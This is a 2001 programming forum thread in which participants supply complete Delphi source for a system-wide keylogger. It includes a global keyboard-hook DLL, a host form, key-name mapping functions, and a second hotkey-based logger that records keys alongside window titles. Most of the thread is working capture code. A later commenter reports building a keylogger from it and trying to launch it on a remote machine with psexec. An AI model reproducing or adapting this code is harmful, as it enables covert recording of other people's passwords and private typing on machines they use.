Solved

Keylogger/keySpy ??

Posted on 2001-07-11
24
836 Views
Last Modified: 2010-04-06
Hi all.

I want to know if any here know how i can log down keys pressed. I have found many components, but they put out the that where keypressed quite messy, and most of them also don't work on Win2k.

It should be able to see it outside my prog.

Dennis
0
Comment
Question by:Dennis9
  • 8
  • 7
  • 3
  • +4
24 Comments
 
LVL 21

Expert Comment

by:gemarti
ID: 6275390
Do you want to collect the information on the same machine or on a networked machine.

For local machines try locating:
Delphi Developer's Guide by Xavier Pacheco & Steve Teixeira, First Ed.
Read Pages 531-540. You'll have to make some modifications to the code, but you can capture the keypresses and post them to an ascii file instead of a message list.

For networked machines: Take a look at the Fastnet Components (Delphi 5) You may be able to create a COM Add-in that can send the keypresses over a TCP/IP network.

What your asking for looks fairly straight forward but will take some work.
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6276051
Something like this?

First create a DLL to be called by your programme:

library HookDLL;

uses
  Windows, Messages;

{ Define a record for recording and passing information process wide }  
type
  PHookRec = ^THookRec;
  THookRec = packed record
    TheHookHandle: HHOOK;
    TheAppWinHandle: HWND;
    TheCtrlWinHandle: HWND;
    TheKeyCount: DWORD;
    TheMessage: UINT;
    isPaused: Boolean;
  end;

const
  kbAlt = $0001;
  kbCtrl = $0002;
  kbShift = $0004;

var
  hObjHandle: THandle; { Variable for the file mapping object }
  lpHookRec: PHookRec; { Pointer to our hook record }

procedure MapFileMemory(dwAllocSize : DWORD);
begin
  { Create a process wide memory mapped variable }
  hObjHandle := CreateFileMapping($FFFFFFFF,
                  nil,
                  PAGE_READWRITE,
                  0,
                  dwAllocSize,
                  '1377KeyLog');
  if (hObjHandle = 0) then
  begin
    MessageBox(0, '1377KeyLog',
      'Could not create file map object', MB_OK);
    Exit;
  end;
  { Get a pointer to our process wide memory mapped variable }
  lpHookRec := MapViewOfFile(hObjHandle,
                 FILE_MAP_WRITE,
                 0,
                 0,
                 dwAllocSize);
  if (lpHookRec = nil) then
  begin
    CloseHandle(hObjHandle);
    MessageBox(0,
      '1377KeyLog',
      'Could not map file',
      MB_OK);
    Exit;
  end;
end;

procedure UnMapFileMemory;
begin
  { Delete our process wide memory mapped variable }
  if (lpHookRec <> nil) then
  begin
    UnMapViewOfFile(lpHookRec);
    lpHookRec := nil;
  end;
  if (hObjHandle > 0) then
  begin
    CloseHandle(hObjHandle);
    hObjHandle := 0;
  end;
end;

procedure PauseHook(Pause: Boolean); stdcall;
begin
  lpHookRec^.isPaused := Pause;
end;

function GetPauseStatus: Boolean; stdcall;
begin
  Result := lpHookRec^.isPaused;
end;

function GetHookRecPointer: Pointer; stdcall;
begin
  { Return a pointer to our process wide memory mapped variable }
  Result := lpHookRec;
end;

{The function that actually processes the keystrokes for our hook}
function KeyBoardProc(Code: Integer;
           wParam: Integer;
           lParam: Integer): Integer; stdcall;
var
  KeyUp: Boolean;
  IsAltPressed: Boolean;
  IsCtrlPressed: Boolean;
  IsShiftPressed: Boolean;
  ControlState: Integer;
begin
  Result := 0;

  if (not lpHookRec^.isPaused) and (Code >= 0) then
    case Code of
      HC_ACTION:
        begin
          { We trap the keystrokes here }

          { Is this a key up message? }
          KeyUp := ((lParam and (1 shl 31)) <> 0);

          if (wParam = 16) // shift
            or (wParam = 17) // ctrl
            or (wParam = 18) // alt
          then
            Exit; // don't send

          // is the Alt key pressed
          IsAltPressed := (lParam and (1 shl 29)) <> 0;
          IsCtrlPressed := (GetKeyState(VK_CONTROL) and (1 shl 15)) <> 0;
          IsShiftPressed := (GetKeyState(VK_SHIFT) and (1 shl 15)) <> 0;

          ControlState := 0;
          if IsAltPressed then
            ControlState := kbAlt;
          if IsCtrlPressed then
            ControlState := ControlState or kbCtrl;
          if IsShiftPressed then
            ControlState := ControlState or kbShift;

          // if KeyUp then increment the key count
          if KeyUp <> False then
          begin
            Inc(lpHookRec^.TheKeyCount);
            PostMessage(lpHookRec^.TheCtrlWinHandle,
              lpHookRec^.TheMessage,
              wParam, // send the virtual code
              ControlState);
          end;
        end; {HC_ACTION}
      HC_NOREMOVE:
        begin
          { This is a keystroke message, but the keystroke message }
          { has not been removed from the message queue, since an }
          { application has called PeekMessage() specifying PM_NOREMOVE }
          Result := 0;
          Exit;
        end;
    end; {case code}

  if (Code < 0) then
    { Call the next hook in the hook chain }
    Result := CallNextHookEx(lpHookRec^.TheHookHandle,
                Code,
                wParam,
                lParam);
end;

procedure StartKeyBoardHook; stdcall;
begin
  { if we have a process wide memory variable }
  { and the hook has not already been set... }
  if ((lpHookRec <> nil) and
    (lpHookRec^.TheHookHandle = 0)) then
  begin
    { Set the hook and remember our hook handle }
    lpHookRec^.TheHookHandle := SetWindowsHookEx(WH_KEYBOARD,
                                  @KeyBoardProc,
                                  hInstance,
                                  0);
    lpHookRec^.isPaused := False;
  end;
end;

procedure StopKeyBoardHook; stdcall;
begin
  { if we have a process wide memory variable }
  { and the hook has already been set... }
  if ((lpHookRec <> nil) and
     (lpHookRec^.TheHookHandle <> 0)) then
    {Remove our hook and clear our hook handle}
    if (UnHookWindowsHookEx(lpHookRec^.TheHookHandle) <> False) then
      lpHookRec^.TheHookHandle := 0;
end;

procedure DllEntryPoint(dwReason : DWORD);
begin
  case dwReason of
    Dll_Process_Attach:
      begin
        { if we are getting mapped into a process, then get }
        { a pointer to our process wide memory mapped variable }
        hObjHandle := 0;
        lpHookRec := NIL;
        MapFileMemory(sizeof(lpHookRec^));
      end;
    Dll_Process_Detach:
      { if we are getting unmapped from a process then, remove }
      { the pointer to our process wide memory mapped variable }
      UnMapFileMemory;
  end;
end;

exports
  KeyBoardProc name 'KEYBOARDPROC',
  GetHookRecPointer name 'GETHOOKRECPOINTER',
  StartKeyBoardHook name 'STARTKEYBOARDHOOK',
  StopKeyBoardHook name 'STOPKEYBOARDHOOK',
  PauseHook name 'PAUSEHOOK',
  GetPauseStatus name 'GETPAUSESTATUS';

begin
  { Set our Dll's main entry point }
  DLLProc := @DllEntryPoint;
  { Call our Dll's main entry point }
  DllEntryPoint(Dll_Process_Attach);
end.


And then in your programme:

type
  // functions prototypes for the hook dll
  TGetHookRecPointer = function: Pointer; stdcall;
  TPauseHook = procedure (Pause: Boolean); stdcall;
  TGetPauseStatus = function: Boolean; stdcall;
  TStartKeyBoardHook = procedure; stdcall;
  TStopKeyBoardHook = procedure; stdcall;

  // record type filled in by the hook dll}
  THookRec = packed record
    TheHookHandle: HHOOK;
    TheAppWinHandle: HWND;
    TheCtrlWinHandle: HWND;
    TheKeyCount: DWORD;
    TheMessage: UINT;
    isPaused: Boolean;
  end;

  // pointer type to the hook record}
  PHookRec = ^THookRec;

const
  Hook_Dll = 'HOOKDLL.DLL';
  kbAlt = $0001;
  kbCtrl = $0002;
  kbShift = $0004;

var
  hHookLib: THandle; // handle to the hook dll
  // function pointers
  GetHookRecPointer: TGetHookRecPointer;
  StartKeyboardHook: TStartKeyBoardHook;
  StopKeyboardHook: TStopKeyBoardHook;
  GetPauseStatus: TGetPauseStatus;
  PauseHook: TPauseHook;
  LibLoadSuccess: Boolean = False; // is the hook lib was successfully loaded?
  lpHookRec: PHookRec = nil; // pointer to the hook record
  MessageToIntercept: UINT;

procedure TfrmKeyLogger.FormCreate(Sender: TObject);
begin
  // get ourselves a unique message id
  MessageToIntercept := RegisterWindowMessage('1377KeyLog');

  // initialize
  @GetHookRecPointer := nil;
  @StartKeyboardHook := nil;
  @StopKeyboardHook := nil;
  @PauseHook := nil;
  @GetPauseStatus := nil;

  hHookLib := LoadLibrary(Hook_Dll);
  // now get the addresses for the procs
  if hHookLib <> 0 then
  begin
    @GetHookRecPointer :=
      GetProcAddress(hHookLib, 'GETHOOKRECPOINTER');
    @StartKeyboardHook :=
      GetProcAddress(hHookLib, 'STARTKEYBOARDHOOK');
    @StopKeyboardHook :=
      GetProcAddress(hHookLib, 'STOPKEYBOARDHOOK');
    @PauseHook :=
      GetProcAddress(hHookLib, 'PAUSEHOOK');
    @GetPauseStatus :=
      GetProcAddress(hHookLib, 'GETPAUSESTATUS');
    // check if we get everything correctly
    if (@GetHookRecPointer <> nil) and
      (@StartKeyboardHook <> nil) and
      (@StopKeyboardHook <> nil) and
      (@PauseHook <> nil) and
      (@GetPauseStatus <> nil) then
    begin
      LibLoadSuccess := True;
      lpHookRec := GetHookRecPointer;
      if lpHookRec <> nil then
      begin
        lpHookRec^.TheHookHandle := 0;
        lpHookRec^.TheKeyCount := 0;
        lpHookRec^.TheCtrlWinHandle := Handle;
        lpHookRec^.TheMessage := MessageToIntercept;
        // start!
        StartKeyboardHook;
      end else
      begin
        // something's wrong... we can't find some function(s)
        FreeLibrary(hHookLib);
        hHookLib := 0;
        @GetHookRecPointer := nil;
        @StartKeyboardHook := nil;
        @StopKeyboardHook := nil;
        @PauseHook := nil;
        @GetPauseStatus := nil;
      end;
    end;
  end;

  NeedReturn := False;
end;

procedure TfrmKeyLogger.FormDestroy(Sender: TObject);
begin
  if LibLoadSuccess then
  begin
    if lpHookRec <> nil then
      if lpHookRec^.TheHookHandle <> 0 then
        StopKeyboardHook;
    FreeLibrary(hHookLib);
  end;
end;

procedure TfrmKeyLogger.WndProc(var Msg: TMessage);
var
  Key: string;
begin
  if Msg.Msg = MessageToIntercept then
  begin
    Key := MatchCode(Msg.WParam);

    if (Length(Key) = 1) and ((Msg.LParam = kbShift) or (Msg.LParam = 0)) then
    begin
      if Msg.lParam <> 0 then
        Key := MapKey(Key[1]);

      if NeedReturn then
      begin
        Memo1.Lines.Add('');
        NeedReturn := False;
      end;

      Memo1.Lines.Text := Memo1.Lines.Text + Key;
    end else
    begin
      if (Msg.LParam and kbShift) = kbShift then
        Key := 'Shift + ' + Key;
      if (Msg.LParam and kbAlt) = kbAlt then
        Key := 'Alt + ' + Key;
      if (Msg.LParam and kbCtrl) = kbCtrl then
        Key := 'Ctrl + ' + Key;

      Memo1.Lines.Add(Key);
      NeedReturn := True;
    end;
  end else
    inherited;
end;



Hope it helps!


DragonSlayer.
0
 

Expert Comment

by:sorentop
ID: 6276264
DragonSlayer do you have the similar code to make and use a mouse hook?
Then I would like to post a question to you about that :)
0
 

Expert Comment

by:sorentop
ID: 6276268
Damn stupid me, sorry Dennis9 I didn't hit the comment button. Please reject this "answer"
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6276362
I do not have one, but it won't be hard to create one.

substitute WH_KEYBOARD to WH_MOUSE in the call to SetWindowsHookEx.

Also, the hook procedure needs to be modified.
The lParam for the hook procedure now points to a MOUSEHOOKSTRUCT structure.

The MouseHookStruct structure will give you information regarding the mouse coordinate (as a TPoint), the window that will receive the mouse event, and also the hit test information (HTBOTTOM, HTCAPTION, etc etc).



DragonSlayer.
0
 
LVL 1

Author Comment

by:Dennis9
ID: 6276677
DragonSlayer: Do u have any special things in the Uses?

It says:
Undeclared identifier: 'MapKey'
Undeclared identifier: 'NeedReturn'

Or u have some functions u forgot to add?


But thanks for the code - it was just what i wanted, if it work ;)

Dennis
0
 
LVL 9

Expert Comment

by:ITugay
ID: 6276756
Hi Dennis9,

here is my very old sample, doesn't tested for W2K but still works for NT4.

------
Igor.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Listbox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  public
    procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
    procedure RegKeys;
    procedure UnRegKeys;
  end;                    

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.RegKeys;
var I : integer;
begin
   for I:=0 to 255 do
   if I<>16 then // skip [Shift]
   begin
     RegisterHotKey(Handle,I,0,I);
     RegisterHotKey(Handle,I+256,MOD_SHIFT,I);
   end;
end;

procedure TForm1.UnRegKeys;
var I : integer;
begin
  for I:=0 to 511 do
  UnregisterHotKey(Handle,I);
end;

procedure TForm1.WMHotKey(var Msg : TWMHotKey);
var NameBuf  : array[0..1000] of char;
    FormName : string;
    Key      : string;
    Ch       : char;
begin
   SetLength(FormName,GetWindowText(GetForegroundWindow,@NameBuf,1000));
   Move(NameBuf,pointer(FormName)^,length(FormName));

   if MSG.HotKey > 255 then
   begin
     MSG.HotKey:=MSG.HotKey-256;
     Key:='[Shift]+';
   end else Key:='';

   Ch:=Char(MapVirtualKey(MSG.HotKey,2));
   if Ch = ' ' then Key:=Key+'[ ]' else
   if Ch in [#33..#127]
      then Key:=Key+Ch
      else Key:=Key+'['+IntToStr(Msg.HotKey)+']';
   Listbox1.Items.Add(Key+' '+FormName);
   Listbox1.ItemIndex:=Listbox1.Items.Count-1;
   UnregKeys; // avoid recursion
   keybd_event(MSG.HotKey,MSG.HotKey,0,0);
   RegKeys;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
   RegKeys;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   UnregKeys;
end;

end.
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6277042
Oops sorry

MapKey was just a function that I did to map the keys to their more 'user-friendly' values such as PageUp, PageDown, Return, etc etc

You can just ignore it and set it to be Key[1] instead of MapKey[1]

NeedReturn is just a boolean variable that I used to keep track whether I have any extra lines in my Memo... you may ignore that as well :)
0
 

Expert Comment

by:DelFreak
ID: 6279435
Listening...
0
 
LVL 1

Author Comment

by:Dennis9
ID: 6280246
DragonSlayer:
The MapKey function u had, does it work well?
I need a function like that, may i have it?
0
 
LVL 14

Accepted Solution

by:
DragonSlayer earned 10 total points
ID: 6281829
function TfrmKeyLogger.MapKey(Key: Char): Char;
const
  USKeyboard: array [1 .. 46] of Char =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
     'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
     'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
     'u', 'v', 'w', 'x', 'y', 'z', '[', ']', ';', '''',
     ',', '.', '/', '\', '-', '=');
  USHiKeyboard: array [1 .. 46] of Char =
    (')', '!', '@', '#', '$', '%', '^', '&', '*', '(',
     'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
     'U', 'V', 'W', 'X', 'Y', 'Z', '{', '}', ':', '"',
     '<', '>', '?', '|', '_', '+');
var
  i: Integer;
begin
  Result := '?';
  for i := 1 to 46 do
    if USKeyboard[i] = Key then
    begin
      Result := USHiKeyboard[i];
      Break;
    end;
end;


function TfrmKeyLogger.MatchCode(Code: Integer): string;
begin
  case Code of
    VK_BACK:
      Result := '[Backspace]';
    VK_TAB:
      Result := '[Tab]';
    VK_CLEAR:
      Result := '[Clear]';
    VK_RETURN:
      Result := '[Return]';
    VK_SHIFT:
      Result := '[Shift]';
    VK_CONTROL:
      Result := '[Ctrl]';
    VK_MENU:
      Result := '[Alt]';  // Alt Key
    VK_PAUSE:
      Result := '[Pause]';
    VK_CAPITAL:
      Result := '[Caps Lock]';
    VK_ESCAPE:
      Result := '[Esc]';
    VK_SPACE:
      Result := '[Space]';
    VK_PRIOR:
      Result := '[Page Up]';
    VK_NEXT:
      Result := '[Page Down]';
    VK_END:
      Result := '[End]';
    VK_HOME:
      Result := '[Home]';
    VK_LEFT:
      Result := '[Left Arrow]';
    VK_UP:
      Result := '[Up Arrow]';
    VK_RIGHT:
      Result := '[Right Arrow]';
    VK_DOWN:
      Result := '[Down Arrow]';
    VK_SELECT:
      Result := '[Select]';
    VK_PRINT:
      Result := '[Print]';
    VK_EXECUTE:
      Result := '[Execute]';
    VK_SNAPSHOT:
      Result := '[Print Screen]';
    VK_INSERT:
      Result := '[Ins]';
    VK_DELETE:
      Result := '[Del]';
    VK_HELP:
      Result := '[Help]';
    { VK_0 thru VK_9 are the same as ASCII '0' thru '9' ($30 - $39) }
    $30 .. $39:
      Result := Char(Byte('0') + Code - $30);
    // VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' ($41 - $5A),
    // but here, we make it lowercase so that when Shift is pressed,
    // we will capitalize it
    $41 .. $5A:
      Result := Char(Byte('a') + Code - $41);
    VK_LWIN:
      Result := '[Left Win Key]';
    VK_RWIN:
      Result := '[Right Win Key]';
    VK_APPS:
      Result := '[App Key]';
    VK_NUMPAD0 .. VK_NUMPAD9:
      Result := Char(Byte('0') + Code - VK_NUMPAD0);
    VK_MULTIPLY:
      Result := '*';
    VK_ADD:
      Result := '+';
    VK_SEPARATOR:
      Result := '[Separator]';
    VK_SUBTRACT:
      Result := '-';
    VK_DECIMAL:
      Result := '.';
    VK_DIVIDE:
      Result := '/';
    VK_F1 .. VK_F24:
      Result := '[F' + IntToStr(Code - VK_F1 + 1) + ']';
    VK_NUMLOCK:
      Result := '[Num Lock]';
    VK_SCROLL: // 145
      Result := '[Scroll Lock]';
    186:
      Result := ';';
    187:
      Result := '=';
    188:
      Result := ',';
    189:
      Result := '-';
    190:
      Result := '.';
    191:
      Result := '/';
    192:
      Result := '`';
    219:
      Result := '[';
    220:
      Result := '\';
    221:
      Result := ']';
    222:
      Result := '''';
    VK_PROCESSKEY: // 229
      Result := '[Process]';
    VK_ATTN:
      Result := '[Attn]';
    VK_CRSEL:
      Result := '[Crsel]';
    VK_EXSEL:
      Result := '[Exsel]';
    VK_EREOF:
      Result := '[Ereof]';
    VK_PLAY:
      Result := '[Play]';
    VK_ZOOM:
      Result := '[Zoom]';
    VK_NONAME:
      Result := '[NoName]';
    VK_PA1:
      Result := '[PA1]';
    VK_OEM_CLEAR:
      Result := '[OEM Clear]';
    255:
      Result := '[Wake]';
    else
      Result := '[' + IntToStr(Code) + ']';
  end;
end;
0
 
LVL 1

Author Comment

by:Dennis9
ID: 6282005
Thanks

Dennis
0
What Security Threats Are You Missing?

Enhance your security with threat intelligence from the web. Get trending threat insights on hackers, exploits, and suspicious IP addresses delivered to your inbox with our free Cyber Daily.

 

Expert Comment

by:DelFreak
ID: 6284212
Yeah! It's great code. Would you mind posting the NeedReturn function as well? Thanks!
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6284367
NeedReturn is just a Boolean variable :)
0
 

Expert Comment

by:DelFreak
ID: 6292642
Okay! Thanks!
0
 

Expert Comment

by:DelFreak
ID: 6300857
Hi again! I'd also like to ask if the code you posted works on all Windows versions. Also, I'd like to know if this Keylogger is 100% reliable meaning there won't be any skipped keys even if I type very fast. Thanks!
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6301172
DelFreak,

I've tried it on Win9x and 2K (SP1 & 2). Didn't try it on NT though I do not see any reason why it should not work.

And in theory, KeyLogger should be able to receive message about *every* key that is pressed, unless of course, you have filled up your keyboard buffer (in that case, even Windows can't get anything you type!).

Do tell me if you are developing any super duper utility with this code... :)



DragonSlayer
0
 

Expert Comment

by:DelFreak
ID: 6304179
Actually, I'm upgrading a program that my company uses. Luckily, I saw this thread. Anyway, the old program used the Xacker KeySpy component which was essentially timer-based. I observed that when you typed very fast, it missed a lot of keys. I was just wondering if the same problem would occur with your code. Please advise. Thanks!
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6306927
AFAIK, no :)
0
 

Expert Comment

by:DelFreak
ID: 6311157
AFAIK? What does that mean? Anyway, I tried compiling the code and it gave me an error regarding WndProc. Why does that happen? How can I fix it? Thanks!
0
 
LVL 14

Expert Comment

by:DragonSlayer
ID: 6311204
AFAIK = As Far As I Know :)


You need to declare this in your Form's private/protected/public section

procedure WndProc(var Msg: TMessage); override;



DragonSlayer
0
 

Expert Comment

by:DelFreak
ID: 6315472
Oh! Okay... I forgot about that. Thanks!
0
 

Expert Comment

by:krypto2000
ID: 12603524
nicde code ;-)
0
 

Expert Comment

by:krypto2000
ID: 12612874
DragonSlayer,

I've makikng a little keylogger with your code, it work really nice when i execute it on my computer.
Now I want to remote exec it with psexec, and then, the process is launched, the texte file is saved, but there is nothing in the memo to be saved ;-(

note :
   - i have change the dll path to "%systemRoot%\system32\hookDLL.dll"
   - all files are copied to the remote machine...

please help !
0

Featured Post

What Is Threat Intelligence?

Threat intelligence is often discussed, but rarely understood. Starting with a precise definition, along with clear business goals, is essential.

Join & Write a Comment

In this tutorial I will show you how to use the Windows Speech API in Delphi. I will only cover basic functions such as text to speech and controlling the speed of the speech. SAPI Installation First you need to install the SAPI type library, th…
Have you ever had your Delphi form/application just hanging while waiting for data to load? This is the article to read if you want to learn some things about adding threads for data loading in the background. First, I'll setup a general applica…
This demo shows you how to set up the containerized NetScaler CPX with NetScaler Management and Analytics System in a non-routable Mesos/Marathon environment for use with Micro-Services applications.
You have products, that come in variants and want to set different prices for them? Watch this micro tutorial that describes how to configure prices for Magento super attributes. Assigning simple products to configurable: We assigned simple products…

747 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

9 Experts available now in Live!

Get 1:1 Help Now